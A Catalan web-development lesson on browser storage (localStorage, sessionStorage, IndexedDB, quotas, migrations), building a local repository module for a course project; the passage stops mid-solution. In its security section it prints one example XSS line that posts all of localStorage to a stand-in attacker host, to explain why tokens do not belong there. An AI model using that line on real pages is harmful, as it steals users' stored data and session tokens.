Vas acabar el Mòdul 6 prement F5 i veient com tota la feina de la Marta s'evaporava. No és una fallada del teu codi: és que fins ara Nómada Tasques vivia sencera a la memòria d'una pestanya, i aquella memòria es destrueix a cada recàrrega. En aquesta lliçó dones a l'aplicació la seva primera manera de recordar. Coneixeràs totes les opcions que ofereix el navegador per desar dades —cookies, localStorage, sessionStorage, IndexedDB i Cache API—, dominaràs la Web Storage API fins als seus racons incòmodes (només desa cadenes, és síncrona, té un límit dur i pot fallar), i construiràs js/dades/repositori-local.js, la primera peça real de la capa de dades del projecte. I per fi veuràs per a què vas escriure aquell toJSON i aquell static desDeJSON a 05-03: sense ells, desar una instància amb camps privats perdria la meitat de les dades en silenci.

Contingut

  1. Què significa «desar» al navegador
  2. Les cinc opcions, comparades
  3. La Web Storage API: els sis membres
  4. Només desa cadenes: per què JSON no és opcional
  5. toJSON i desDeJSON, el viatge d'anada i tornada
  6. L'origen com a frontera
  7. localStorage davant de sessionStorage
  8. L'esdeveniment storage: sincronitzar dues pestanyes
  9. Límits, quota i QuotaExceededError
  10. És síncron: bloqueja el fil
  11. Què no has de desar mai
  12. Versionar el format i migrar
  13. Nómada Tasques: js/dades/repositori-local.js
  14. Quan 5 MB no basten: IndexedDB i localForage
  15. Errors Habituals i Consells
  16. Exercicis
  17. Conclusió

  1. Què significa «desar» al navegador

Quan una aplicació d'escriptori desa alguna cosa, escriu un fitxer al disc. Una pàgina web no pot fer això: si qualsevol web pogués escriure on volgués al teu ordinador, el web seria inhabitable. El que el navegador ofereix en el seu lloc és un magatzem privat per lloc, gestionat per ell, amb regles estrictes sobre qui pot llegir què.

Tres idees per començar:

  • El navegador és l'amo del magatzem, no la teva pàgina. Pot esborrar-lo quan li falti espai, quan l'usuari netegi dades de navegació o quan el lloc porti mesos sense visitar-se. No escriguis mai codi que doni per fet que allò desat continua allà.
  • Tot emmagatzematge és local a un dispositiu i a un navegador. El que la Marta desi a Chrome no ho veurà a Firefox, ni al mòbil, ni l'Iván al seu portàtil. Compartir dades entre persones exigeix un servidor, i d'això va la lliçó següent.
  • L'emmagatzematge no és una base de dades. No hi ha consultes, ni índexs, ni transaccions (llevat d'IndexedDB). És una caixa on fiques coses i de la qual les treus.

Amb això clar, el problema de Nómada Tasques es torna concret: si en acabar cada canvi escric el tauler al magatzem, i en arrencar l'aplicació intento llegir-lo abans de recórrer a dades/backlog.js, l'aplicació sobreviu a F5.

  1. Les cinc opcions, comparades

El navegador ofereix cinc mecanismes amb propòsits molt diferents. Triar malament és la causa de la meitat dels problemes de rendiment i de seguretat que es veuen en producció.

Mecanisme Capacitat típica Persistència Àmbit Mode Viatja al servidor? Per a què serveix
Cookies ~4 KB per cookie Fins al seu Expires/Max-Age Origen + ruta, configurable per domini Síncron Sí, a cada petició Sessió de servidor, identificació. Amb HttpOnly i Secure
localStorage ~5-10 MB per origen Indefinida fins que s'esborri Origen Síncron No Preferències, esborranys, estat de la interfície
sessionStorage ~5-10 MB per origen Mentre visqui la pestanya Origen + pestanya Síncron No Dades d'un assistent de diversos passos, filtres temporals
IndexedDB Centenars de MB o més (segons quota) Indefinida Origen Asíncron No Moltes dades, objectes estructurats, cerques per índex
Cache API Compartida amb la quota de l'origen Indefinida Origen Asíncron No Respostes HTTP completes per funcionar sense connexió

Quatre conseqüències pràctiques d'aquesta taula:

  • Les cookies viatgen a cada petició HTTP. Desar en una cookie les dades del tauler significaria enviar aquell JSON al servidor a cada imatge, cada CSS i cada crida a l'API. Per això les cookies es reserven per a identificadors petits.
  • localStorage i sessionStorage són la mateixa API amb durada diferent. Tot el que aprenguis d'una val per a l'altra.
  • IndexedDB és asíncron, i aquest és el seu avantatge més gran: no bloqueja la interfície. El seu cost és una API notòriament incòmoda, que gairebé ningú fa servir a pèl.
  • Cache API no desa dades, desa respostes. És la peça dels service workers, i la veuràs a 07-05.

Per a Nómada Tasques, amb sis tasques i un grapat de preferències, localStorage és exactament l'eina adequada. Començar per IndexedDB seria com muntar un magatzem logístic per guardar una capsa de sabates.

  1. La Web Storage API: els sis membres

localStorage i sessionStorage són objectes globals que implementen la interfície Storage. La seva superfície completa cap en una taula:

Membre Signatura Què fa Si no existeix la clau
setItem setItem(clau, valor) Desa (o sobreescriu)
getItem getItem(clau) Llegeix Retorna null
removeItem removeItem(clau) Esborra una clau No fa res, no falla
clear clear() Esborra tot el magatzem de l'origen
key key(index) Retorna el nom de la clau n-èsima Retorna null
length propietat Quantes claus hi ha desades
// Desar i llegir
localStorage.setItem('nomada:tema', 'fosc');
console.log(localStorage.getItem('nomada:tema'));      // 'fosc'

// Una clau que no existeix retorna null, NO undefined
console.log(localStorage.getItem('nomada:idioma'));    // null

// Recórrer tot el magatzem
console.log(localStorage.length);                       // 1
for (let i = 0; i < localStorage.length; i += 1) {
  const clau = localStorage.key(i);
  console.log(clau, '→', localStorage.getItem(clau));
}

localStorage.removeItem('nomada:tema');
// localStorage.clear();                                 // ✗ compte: esborra TOT l'origen

Tres detalls que convé fixar des del principi:

  • L'absència es representa amb null, no amb undefined. Això importa perquè null ?? valorPerDefecte funciona, però també ho fa undefined ?? valorPerDefecte; en canvi getItem(...) || 'x' et trairia si el valor desat fos la cadena buida o '0'. Fes servir ?? o compara explícitament amb null.
  • clear() esborra tot l'origen, no només el que és teu. Si al mateix domini hi ha una altra pàgina que desa coses, te les emportes per davant. Per això el projecte farà servir un prefix (nomada:) i esborrarà clau a clau.
  • Existeix una sintaxi de propietat (localStorage.tema = 'fosc') que funciona, però és una mala idea: xoca amb els noms dels mètodes (localStorage.length = 3 no fa el que sembla) i amaga que estàs cridant una API. Fes servir sempre els mètodes.

Un conveni de noms des del minut u. Com que el magatzem és pla i compartit per tot l'origen, les claus porten espai de noms i versió:

const CLAU_TAULER = 'nomada:tauler:v1';
const CLAU_PREFS  = 'nomada:preferencies:v1';

  1. Només desa cadenes: per què JSON no és opcional

Aquesta és la limitació que més maldecaps produeix. Storage només emmagatzema cadenes de text. Qualsevol altra cosa es converteix abans de desar-se, i la conversió la fa String(), amb resultats desastrosos:

localStorage.setItem('numero', 42);
console.log(localStorage.getItem('numero'));           // '42'   ← string
console.log(typeof localStorage.getItem('numero'));    // 'string'
console.log(localStorage.getItem('numero') + 1);       // '421'  ← concatenació

localStorage.setItem('actiu', true);
console.log(localStorage.getItem('actiu') === true);   // false  ← és 'true', la cadena

localStorage.setItem('tasques', [1, 2, 3]);
console.log(localStorage.getItem('tasques'));          // '1,2,3'  ← s'ha perdut l'array

localStorage.setItem('tasca', { id: 6, titol: 'Pressupost' });
console.log(localStorage.getItem('tasca'));            // '[object Object]'  ← desastre total

Aquella última línia és la fallada clàssica: l'objecte s'ha convertit amb el seu toString() per defecte i les dades han desaparegut per sempre. La solució és la que ja coneixes de 04-08:

const tasca = { id: 6, titol: 'Pressupost de la fusteria', horesEstimades: 5 };

localStorage.setItem('nomada:tasca:6', JSON.stringify(tasca));        // ← en desar
const recuperada = JSON.parse(localStorage.getItem('nomada:tasca:6')); // ← en llegir

console.log(recuperada.horesEstimades + 1);   // 6   ← número de debò

Però JSON.parse llança si el text està corromput, i en un magatzem que l'usuari pot editar a mà des de les DevTools, o que va quedar a mitges d'una versió anterior de la teva aplicació, això passa. Recupera l'analitzarSegur de 04-08:

// js/util/json.js
/** Retorna l'objecte analitzat, o `perDefecte` si el text és null o no és JSON vàlid. */
export function analitzarSegur(text, perDefecte = null) {
  if (text === null) return perDefecte;
  try {
    return JSON.parse(text);
  } catch {
    return perDefecte;
  }
}

Una dada corrompuda no ha de tombar mai l'aplicació sencera: com a molt, ha de fer que arrenqui amb el backlog inicial.

  1. toJSON i desDeJSON, el viatge d'anada i tornada

Aquí és on el disseny de 05-03 rendeix. Una Tasca no és un objecte pla: té #estat i #hores privats i getters al prototip. Sense toJSON, JSON.stringify(tasca) produeix un objecte al qual li falten camps i no llança cap error. Amb toJSON, el resultat és complet.

I a la tornada passa el simètric: JSON.parse mai retorna instàncies. Retorna objectes plans, sense mètodes i sense getters.

import { Tasca } from '../model/tasca.js';

const tasca = new Tasca({
  id: 6, titol: 'Pressupost de la fusteria', responsable: 'Iván',
  prioritat: 'alta', etiquetes: ['fusteria'], horesEstimades: 5,
  dataLimit: '2026-09-05', revisor: 'Marta'
});

const text = JSON.stringify(tasca);            // ← fa servir toJSON(): complet
const pla = JSON.parse(text);

console.log(pla instanceof Tasca);             // false
console.log(pla.oberta);                       // undefined   ← el getter no viatja
// pla.canviarEstat('en-curs');                // ✗ TypeError: no és una funció

const viva = Tasca.desDeJSON(pla);             // ← reconstrueix I revalida
console.log(viva instanceof Tasca);            // true
console.log(viva.oberta);                      // true
console.log(viva.diesRestants);                // -15

El cicle complet, dibuixat:

flowchart LR
    A["Tauler<br/>(instàncies vives)"] -->|"JSON.stringify · toJSON()"| B["Text JSON"]
    B -->|"setItem"| C[("localStorage")]
    C -->|"getItem"| D["Text JSON"]
    D -->|"analitzarSegur · JSON.parse"| E["Objectes plans"]
    E -->|"Tasca.desDeJSON · new Tauler"| F["Tauler<br/>(instàncies vives)"]

Recorda què es perd en aquell viatge, que ja vas inventariar a 04-08: undefined, funcions i símbols desapareixen; Date es converteix en cadena; Map, Set i NaN no sobreviuen; Infinity es torna null. El nostre model està dissenyat per a això: les dates ja són cadenes ISO ('2026-09-05'), les etiquetes ja són un array de cadenes, i no hi ha ni un Date ni un Map dins de Tasca. No va ser casualitat.

  1. L'origen com a frontera

Cada magatzem pertany a un origen, i un origen són tres coses juntes:

        https  ://  app.tallernomada.example  :  443
        └─┬─┘        └────────┬────────────┘   └┬┘
       protocol            domini            port

Si canvia qualsevol de les tres, és un altre magatzem diferent i no es veuen entre si:

URL A URL B Mateix magatzem? Per què
https://taller.example/a https://taller.example/b/c La ruta no forma part de l'origen
https://taller.example http://taller.example No Protocol diferent
https://taller.example https://app.taller.example No Domini diferent
http://localhost:3000 http://localhost:8080 No Port diferent
https://taller.example file:///C:/projecte/index.html No file:// té el seu propi origen (sovint opac)

Dues conseqüències molt pràctiques mentre desenvolupes:

  • Obrir index.html amb doble clic (file://) no és equivalent a servir-lo. A més que els mòduls ES fallen per CORS —ho vas veure a 05-04—, l'emmagatzematge es comporta de manera inconsistent. Fes servir sempre un servidor local (npx serve, l'extensió Live Server, python3 -m http.server).
  • Canviar de port et «esborra» les dades. No estan esborrades: són al magatzem de l'altre origen. És una font inesgotable d'ensurts.

Un <iframe> d'un altre origen incrustat a la teva pàgina accedeix al seu propi magatzem, no al teu. Aquella separació és una barrera de seguretat, no un detall tècnic.

  1. localStorage davant de sessionStorage

Comparteixen API i difereixen només en quant duren i qui els veu:

localStorage sessionStorage
Durada Fins que s'esborri explícitament Fins que es tanqui la pestanya
Compartit entre pestanyes del mateix origen No: cada pestanya té el seu
Sobreviu a F5
Sobreviu a tancar i reobrir el navegador No
Duplicar la pestanya La còpia hereta el contingut
Esdeveniment storage en altres pestanyes No (només entre iframes de la mateixa pestanya)

La regla de decisió és directa: l'usuari esperaria trobar-ho demà? Si sí, localStorage. Si és una cosa d'«ara mateix», sessionStorage.

A Nómada Tasques:

// Persisteix: el tauler i les preferències de l'usuari
localStorage.setItem('nomada:tauler:v1', JSON.stringify(tauler));
localStorage.setItem('nomada:preferencies:v1', JSON.stringify({ tema: 'clar', ordre: 'prioritat' }));

// Efímer: un filtre que la Marta ha activat per mirar una cosa concreta
sessionStorage.setItem('nomada:filtre-actual', JSON.stringify({ responsable: 'Iván' }));

Si la Marta filtra per l'Iván en una pestanya per revisar la seva càrrega, no voldrà trobar-se aquell filtre posat demà al matí sense saber per què. Aquest és exactament el cas de sessionStorage.

  1. L'esdeveniment storage: sincronitzar dues pestanyes

La Marta treballa amb dues pestanyes obertes: en una revisa el tauler complet i en una altra dona d'alta tasques. Si desa en una, l'altra continua mostrant dades velles. El navegador t'avisa amb l'esdeveniment storage:

window.addEventListener('storage', (esdeveniment) => {
  console.log('clau:',     esdeveniment.key);        // 'nomada:tauler:v1'
  console.log('abans:',    esdeveniment.oldValue);   // el JSON anterior (string o null)
  console.log('ara:',      esdeveniment.newValue);   // el JSON nou (string o null)
  console.log('origen:',   esdeveniment.url);        // URL de la pestanya que el va canviar
  console.log('magatzem:', esdeveniment.storageArea === localStorage);
});

La característica que confon tothom: storage NO es dispara a la pestanya que va fer el canvi, només a les altres del mateix origen. És intencionat —aquella pestanya ja sap què ha fet—, però fa que sembli trencat quan ho proves en una sola finestra. Obre-ho en dues pestanyes per veure-ho.

Aplicat al projecte, amb els CustomEvent de 06-04 com a pont:

// js/dades/repositori-local.js (fragment)
import { ESDEVENIMENTS, emetre } from '../vista/esdeveniments.js';

/** Avisa l'aplicació quan UNA ALTRA pestanya canvia el tauler desat. */
export function escoltarAltresPestanyes(clau, enCanviar, { signal } = {}) {
  window.addEventListener('storage', (esdeveniment) => {
    if (esdeveniment.key !== clau) return;              // ignora altres claus de l'origen
    if (esdeveniment.newValue === null) return;         // algú ha netejat: decideix tu què fer
    enCanviar(JSON.parse(esdeveniment.newValue));
  }, { signal });
}
// js/app.js
escoltarAltresPestanyes('nomada:tauler:v1', (dades) => {
  const nou = Tauler.importar(JSON.stringify(dades));
  vista.actualitzar({ tauler: nou });
  emetre(document, ESDEVENIMENTS.TAULER_ACTUALITZAT, { origen: 'altra-pestanya' });
});

Fixa't en el { signal }: és l'AbortController que va aparèixer de passada a 06-04 i que estudiaràs a fons a 07-03. Serveix per poder desconnectar l'oient després.

Per a casos més ambiciosos existeix BroadcastChannel, un canal de missatges explícit entre pestanyes del mateix origen que no obliga a passar per l'emmagatzematge. L'esdeveniment storage té l'avantatge que ja és on estàs desant.

  1. Límits, quota i QuotaExceededError

El límit habitual és d'uns 5 MB per origen per a Web Storage (alguns navegadors arriben a 10 MB). Sembla molt fins que hi deses historials o imatges en base64. I hi ha un detall que duplica el consum: les cadenes s'emmagatzemen en UTF-16, així que cada caràcter ocupa aproximadament 2 bytes.

Quan te'n passes, setItem llança una excepció:

try {
  localStorage.setItem('nomada:tauler:v1', textEnorme);
} catch (error) {
  // El nom estàndard modern; navegadors antics fan servir altres codis
  if (error.name === 'QuotaExceededError') {
    console.warn("No hi ha espai a l'emmagatzematge local.");
  } else {
    throw error;                                  // no t'empassis errors que no esperaves
  }
}

Hi ha una segona causa de fallada que sorprèn: en mode privat / incògnit, alguns navegadors donen una quota de zero o tanquen el magatzem. En navegació amb cookies bloquejades del tot, fins i tot accedir a localStorage pot llançar SecurityError. Per això la comprovació de disponibilitat es fa així:

/** Podem escriure de debò en aquest magatzem? */
export function magatzemDisponible(tipus = 'localStorage') {
  try {
    const magatzem = window[tipus];
    const prova = '__prova__';
    magatzem.setItem(prova, prova);               // escriure de debò, no només comprovar que existeix
    magatzem.removeItem(prova);
    return true;
  } catch {
    return false;
  }
}

No n'hi ha prou amb if ('localStorage' in window): l'objecte pot existir i tot i així fallar en escriure. Cal intentar escriure.

I què cal fer si no està disponible? No trencar mai. Degradar:

/** Reserva en memòria: la mateixa API, però només dura el que duri la pàgina. */
function magatzemEnMemoria() {
  const mapa = new Map();
  return {
    getItem: (k) => (mapa.has(k) ? mapa.get(k) : null),
    setItem: (k, v) => mapa.set(k, String(v)),
    removeItem: (k) => mapa.delete(k)
  };
}

const magatzem = magatzemDisponible() ? window.localStorage : magatzemEnMemoria();

L'aplicació continua funcionant exactament igual; simplement no recorda res entre recàrregues. Això és millora progressiva: la persistència és una millora, no un requisit per arrencar.

Per saber quant espai hi ha realment disponible existeix la Storage API moderna:

if (navigator.storage?.estimate) {
  const { usage, quota } = await navigator.storage.estimate();
  console.log(`Usats ${(usage / 1048576).toFixed(2)} MB de ${(quota / 1048576).toFixed(0)} MB`);
}

  1. És síncron: bloqueja el fil

Aquí connecta amb el bucle d'esdeveniments de 05-07. localStorage.setItem és una operació síncrona i bloquejant: mentre escriu, el fil principal no executa res més. No pinta, no respon a clics, no processa microtasques.

Amb sis tasques és imperceptible. Amb un JSON de diversos megues desat a cada pulsació de tecla, la interfície es congela visiblement.

// ✗ Desar a cada tecla: escriu desenes de vegades per segon
campCerca.addEventListener('input', () => {
  localStorage.setItem('nomada:tauler:v1', JSON.stringify(tauler));   // bloqueig repetit
});

// ✓ Esmorteït amb el debounce de 03-04 / 06-07
import { debounce } from '../util/temps.js';
const desarEsmorteit = debounce(() => repositori.desar(tauler), 500);
campCerca.addEventListener('input', desarEsmorteit);

Dues regles d'higiene:

  • Desa en acabar un canvi, no durant. Un submit completat, un canvi d'estat, un esborrat: això són moments de desar. Cada tecla, no.
  • Serialitza una vegada. JSON.stringify d'un tauler gran també costa. No el cridis dins d'un bucle.

Si et trobes necessitant escriure molt i sovint, la resposta no és optimitzar localStorage: és canviar a IndexedDB, que és asíncron per disseny.

  1. Què no has de desar mai

localStorage és accessible des de qualsevol JavaScript que s'executi a la teva pàgina. Qualsevol: el teu codi, la llibreria de gràfics que vas instal·lar, l'script d'analítica, i també el codi que un atacant aconsegueixi injectar mitjançant XSS (el mateix XSS que vas estudiar a 06-02 amb innerHTML). Una sola línia n'hi ha prou per emportar-s'ho tot:

// El que un XSS executaria a la teva pàgina, si hi hagués alguna cosa per robar
fetch('https://atacant.example/robatori', { method: 'POST', body: JSON.stringify(localStorage) });
No desis Per què On va
Tokens de sessió, JWT, claus d'API Un XSS els roba i suplanta l'usuari; no caduquen sols Cookie HttpOnly + Secure + SameSite, gestionada pel servidor
Contrasenyes (en clar o xifrades al client) La clau de desxifrat estaria al costat de la dada Enlloc del client
Dades personals identificables sense base legal El navegador no xifra res; el dispositiu pot ser compartit Servidor, amb revisió de privacitat
Dades de salut, financeres o de menors Categories especialment protegides Mai al client sense assessorament
Dades que altres usuaris no haurien de veure Un ordinador compartit ho exposa al següent usuari Servidor amb control d'accés

Tres advertiments que has d'interioritzar:

  • localStorage no està xifrat. Es veu en text pla a DevTools → Application → Local Storage, i al disc.
  • No caduca sol. Una cookie caduca; una clau de localStorage continua allà d'aquí a dos anys si ningú no l'esborra.
  • Les dades personals reals exigeixen revisió legal. En un projecte real, desar al navegador noms, correus, adreces o qualsevol dada que identifiqui una persona entra en l'àmbit del RGPD i de les polítiques internes de la teva organització. Ha de passar per revisió legal i de compliance abans d'escriure's una línia, i s'ha de documentar què es desa, per què i durant quant de temps. En aquest curs l'equip del Taller Nómada —la Marta, l'Iván i la Lucía— és fictici, i desem només un nom de pila com a etiqueta d'assignació; a la teva empresa, aquella mateixa decisió no la prens tu sol.

  1. Versionar el format i migrar

El dia que canviïs el model —afegir un camp, reanomenar-ne un altre— les dades desades seran del format antic. Si el teu codi dona per fet el nou, l'aplicació es trenca justament per als usuaris més fidels, que són els que tenen dades.

La solució és que la dada desada digui quin format té. Per això el toJSON de Tauler que vas escriure a 05-03 ja incloïa versio: 1, i per això la clau es diu nomada:tauler:v1.

const VERSIO_ACTUAL = 2;

/** Puja un objecte desat des de qualsevol versió anterior fins a l'actual. */
function migrar(dades) {
  let actual = dades;

  if (actual.versio === 1) {
    actual = {
      ...actual,
      versio: 2,
      tasques: actual.tasques.map((t) => ({ ...t, revisor: t.revisor ?? null }))   // camp nou
    };
  }

  // if (actual.versio === 2) { … futura migració a la 3 … }

  if (actual.versio !== VERSIO_ACTUAL) {
    throw new ErrorDeDades(`No sé migrar la versió ${actual.versio}.`);
  }
  return actual;
}

Tres regles del versionatge:

  • Migracions encadenades, no salts. De la 1 a la 2, de la 2 a la 3. Així només escrius cada pas una vegada, encara que l'usuari vingui de molt enrere.
  • No migris mai destruint. Escriu el resultat migrat només quan la migració hagi acabat bé.
  • Si no saps migrar, descarta amb elegància. Val més arrencar amb el backlog inicial i avisar, que arrencar trencat.

  1. Nómada Tasques: js/dades/repositori-local.js

Ara ajuntem tot en la primera peça real de la carpeta js/dades/. El mòdul té una responsabilitat única: traduir entre el tauler viu i el magatzem de text. No sap res de DOM ni de regles de negoci.

// js/dades/repositori-local.js
import { Tauler } from '../model/tauler.js';
import { ErrorDeDades } from '../model/errors.js';

const CLAU = 'nomada:tauler:v1';
const VERSIO_ACTUAL = 1;

/** Es pot escriure de debò a localStorage? (mode privat, cookies bloquejades…) */
function magatzemDisponible() {
  try {
    const prova = '__nomada_prova__';
    localStorage.setItem(prova, '1');
    localStorage.removeItem(prova);
    return true;
  } catch {
    return false;
  }
}

/** Reserva silenciosa: la mateixa interfície, sense persistència real. */
function magatzemEnMemoria() {
  const mapa = new Map();
  return {
    getItem: (k) => (mapa.has(k) ? mapa.get(k) : null),
    setItem: (k, v) => { mapa.set(k, String(v)); },
    removeItem: (k) => { mapa.delete(k); }
  };
}

export class RepositoriLocal {
  #magatzem;
  #clau;
  #persistent;

  constructor({ clau = CLAU, magatzem } = {}) {
    this.#clau = clau;
    this.#persistent = magatzemDisponible();
    this.#magatzem = magatzem ?? (this.#persistent ? window.localStorage : magatzemEnMemoria());
  }

  /** true si les dades sobreviuran a una recàrrega. La vista pot avisar si és false. */
  get persistent() {
    return this.#persistent;
  }

  /**
   * Escriu el tauler. Retorna true si s'ha desat, false si no hi havia espai.
   * No llança per falta de quota: perdre la persistència no ha de tombar l'aplicació.
   */
  desar(tauler) {
    try {
      this.#magatzem.setItem(this.#clau, JSON.stringify(tauler));   // fa servir toJSON() de Tauler i de cada Tasca
      return true;
    } catch (error) {
      if (error.name === 'QuotaExceededError') {
        console.warn("[nomada] Sense espai a l'emmagatzematge local; els canvis no es desaran.");
        return false;
      }
      throw error;
    }
  }

  /**
   * Llegeix el tauler desat.
   * Retorna null si no hi ha res o si allò desat és inservible: qui crida decideix la reserva.
   */
  carregar() {
    const text = this.#magatzem.getItem(this.#clau);
    if (text === null) return null;

    let dades;
    try {
      dades = JSON.parse(text);
    } catch {
      console.warn('[nomada] Dades corrompudes al magatzem; es descarten.');
      this.netejar();
      return null;
    }

    if (dades?.versio !== VERSIO_ACTUAL) {
      console.warn(`[nomada] Versió desconeguda (${dades?.versio}); es descarta.`);
      this.netejar();
      return null;
    }

    try {
      return Tauler.importar(JSON.stringify(dades));   // reconstrueix instàncies I revalida R1-R10
    } catch (error) {
      if (error instanceof ErrorDeDades) {
        console.warn('[nomada] El tauler desat no supera la validació:', error.message);
        this.netejar();
        return null;
      }
      throw error;
    }
  }

  /** Esborra NOMÉS la nostra clau. Mai localStorage.clear(). */
  netejar() {
    this.#magatzem.removeItem(this.#clau);
  }
}

Quatre decisions de disseny que mereixen comentari:

  • carregar() retorna null, no llança. «No hi ha res desat» és una situació normal, no un error. Qui crida decideix què fer, i el que fa és caure al backlog inicial.
  • Qualsevol dada inservible es descarta i es neteja. És preferible perdre dades corrompudes a arrossegar-les: l'usuari veu un tauler inicial, no una pantalla en blanc.
  • Tauler.importar revalida. Com que reconstrueix instàncies de Tasca, totes les regles R1-R10 es tornen a comprovar. Si algú ha editat el JSON a mà a les DevTools i hi ha posat horesEstimades: 500, l'ErrorDeValidacio salta i la dada es descarta. No confiïs mai en el que surt del magatzem.
  • El constructor accepta un magatzem. Així podràs passar-li un doble al Mòdul 8 i provar el repositori sense navegador.

I la integració al punt d'entrada:

// js/app.js
import { Tauler } from './model/tauler.js';
import { crearBacklog } from './dades/backlog.js';
import { RepositoriLocal } from './dades/repositori-local.js';
import { TaulerVista } from './vista/tauler-vista.js';
import { ESDEVENIMENTS } from './vista/esdeveniments.js';
import { debounce } from './util/temps.js';
import { AVUI } from './util/dates.js';
import { $ } from './vista/dom.js';

const repositori = new RepositoriLocal();

// 1 · Allò desat mana; si no hi ha res, el backlog inicial
const tauler = repositori.carregar() ?? new Tauler('Taller Nómada', crearBacklog());

const vista = new TaulerVista({ contenidor: $('.tauler'), resum: $('#resum'), tauler, avui: AVUI });
vista.render();

// 2 · Desar quan alguna cosa canvia, esmorteït per no bloquejar el fil
const desar = debounce(() => repositori.desar(tauler), 300);
document.addEventListener(ESDEVENIMENTS.TASCA_CANVIADA, desar);
document.addEventListener(ESDEVENIMENTS.TASCA_CREADA, desar);

// 3 · Una altra pestanya de l'equip ha canviat les dades
window.addEventListener('storage', (esdeveniment) => {
  if (esdeveniment.key !== 'nomada:tauler:v1') return;
  const recarregat = repositori.carregar();
  if (recarregat !== null) vista.actualitzar({ tauler: recarregat });
});

// 4 · Si no hi ha persistència, dir-ho en lloc de mentir
if (!repositori.persistent) {
  $('#avis').textContent = 'Mode sense desament: els canvis es perdran en tancar.';
  $('#avis').hidden = false;
}

Desa, recarrega amb F5 i comprova-ho: el tauler torna tal com el vas deixar. La Marta pot tancar el portàtil.

Fixa't en el punt 2: l'aplicació no crida a desar des del controlador ni des de la vista. Escolta els CustomEvent que ja emeties a 06-04. La persistència s'ha afegit sense tocar una línia del model ni de les vistes, que és exactament el que promet una arquitectura per capes.

  1. Quan 5 MB no basten: IndexedDB i localForage

Si Nómada Tasques creixés fins a desar adjunts, un historial complet de canvis o milers de tasques, localStorage es quedaria curt per dos motius alhora: la quota i el bloqueig del fil. El següent esglaó és IndexedDB: una base de dades transaccional, orientada a objectes, amb índexs i asíncrona.

// IndexedDB a pèl: potent, però verbós i basat en esdeveniments, no en promeses
const sollicitud = indexedDB.open('nomada', 1);

sollicitud.onupgradeneeded = (esdeveniment) => {
  const bd = esdeveniment.target.result;
  const magatzem = bd.createObjectStore('tasques', { keyPath: 'id' });
  magatzem.createIndex('per-responsable', 'responsable', { unique: false });
};

sollicitud.onsuccess = (esdeveniment) => {
  const bd = esdeveniment.target.result;
  const tx = bd.transaction('tasques', 'readwrite');
  tx.objectStore('tasques').put({ id: 6, titol: 'Pressupost de la fusteria' });
  tx.oncomplete = () => console.log('desat');
};

Aquell estil amb onsuccess/onupgradeneeded és anterior a les promeses i xoca amb tot el que vas aprendre a 05-06. Per això gairebé ningú fa servir IndexedDB directament. Dos embolcalls habituals:

Opció Idea Quan triar-la
localForage Ofereix l'API de localStorage (getItem/setItem) però amb promeses, sobre IndexedDB, caient a Web Storage si cal Migrar de localStorage sense canviar el disseny
idb Embolcalla IndexedDB en promeses conservant tot el seu model (transaccions, índexs, cursors) Necessites consultes i índexs de debò
// Amb localForage el repositori a penes canvia… tret que ara és asíncron
import localforage from 'localforage';

async desar(tauler) {
  await localforage.setItem('nomada:tauler', tauler.toJSON());   // accepta objectes, sense stringify
}

Fixa't en el detall important: IndexedDB (i per tant localForage) fa servir l'algorisme de clonació estructurada, el mateix de structuredClone de 04-08. Això significa que accepta objectes, Date, Map i Set sense serialitzar a text… però no accepta instàncies amb camps privats, així que continues necessitant toJSON() en desar i desDeJSON en llegir. El patró que has après continua valent.

Regla pràctica: comença per localStorage. Canvia a IndexedDB quan mesuris que et fa falta, no abans. Nómada Tasques no ho necessita.

Errors Habituals i Consells

  • Desar un objecte sense JSON.stringify. El resultat és '[object Object]' i les dades es perden sense cap error. Si en llegir veus aquella cadena, ja saps què ha passat.
  • Oblidar JSON.parse en llegir. getItem sempre retorna una cadena. dades.tasques.length sobre una cadena dona undefined o el nombre de caràcters, i la confusió dura hores.
  • Confondre null amb undefined. getItem d'una clau inexistent retorna null. Comprova amb === null o fes servir ??.
  • Fer servir || per al valor per defecte. Number(localStorage.getItem('pagines')) || 10 converteix un 0 legítimament desat en 10. Fes servir ?? sobre el valor ja analitzat.
  • Cridar localStorage.clear(). Esborra tot l'origen, incloses dades d'altres pàgines del mateix domini. Esborra les teves claus una a una, i per això els poses prefix.
  • Confiar en les dades llegides. L'usuari les pot editar a les DevTools. Valida sempre en reconstruir; per a això Tauler.importar revalida.
  • No embolcallar setItem en try/catch. Quota plena o mode privat fan que llanci, i una fallada en desar no ha de tombar la interfície.
  • Desar a cada pulsació de tecla. És síncron i bloqueja. Esmorteeix amb debounce i desa en tancar operacions.
  • Desar tokens de sessió. És la mala pràctica més estesa i la més cara: converteix qualsevol XSS en un robatori de compte.
  • Provar l'esdeveniment storage en una sola pestanya. No es dispara a la que va fer el canvi. Obre'n dues.
  • Consell: fes servir prefixos i versió a les claus (nomada:tauler:v1). Et permet llistar el que és teu, esborrar el que és teu i migrar formats sense endevinar.
  • Consell: inspecciona el magatzem a DevTools → pestanya ApplicationLocal Storage. Pots veure, editar i esborrar claus a mà; és la manera més ràpida de reproduir una dada corrompuda.
  • Consell: desa dades, no interfície. Desa el tauler, no l'HTML generat. L'HTML es torna a construir; les dades no.

Exercicis

Exercici 1 — Preferències amb sessionStorage i localStorage. Escriu un mòdul js/dades/preferencies.js que exporti llegirPreferencies() i desarPreferencia(clau, valor). Les preferències són { tema: 'clar' | 'fosc', ordre: 'prioritat' | 'data', columnesCompactes: boolean }, es desen a localStorage sota 'nomada:preferencies:v1' i han de tenir valors per defecte si no hi ha res desat o si el JSON està corromput. Afegeix desarFiltreTemporal(filtre) i llegirFiltreTemporal() fent servir sessionStorage. Compte amb les preferències booleanes: false és un valor legítim.

Exercici 2 — Detectar i sobreviure a la quota plena. Escriu una funció provarQuota() que escrigui cadenes cada vegada més grans a localStorage sota la clau '__quota__' fins que salti QuotaExceededError, informi per consola de quants KB aproximats ha acceptat el navegador i deixi el magatzem net passi el que passi. Després fes servir aquella informació per escriure desarAmbReintent(repositori, tauler, historial): si desar retorna false, retalla l'historial a la meitat i torna-ho a intentar, fins a un màxim de tres intents.

Exercici 3 — Migració de la versió 1 a la versió 2. El model canvia: les tasques passen a tenir un camp nou bloquejadaPer (array d'ids, per defecte []) i el camp revisor passa a dir-se revisadaPer. Escriu migrar(dades) que accepti un objecte desat amb versio: 1 i en retorni un amb versio: 2 correcte, i modifica RepositoriLocal.carregar() perquè apliqui la migració, desi el resultat migrat i només llavors construeixi el tauler. Si la versió és desconeguda, s'ha de descartar com fins ara.

Solucions

Solució 1

// js/dades/preferencies.js
const CLAU_PREFS = 'nomada:preferencies:v1';
const CLAU_FILTRE = 'nomada:filtre-actual';

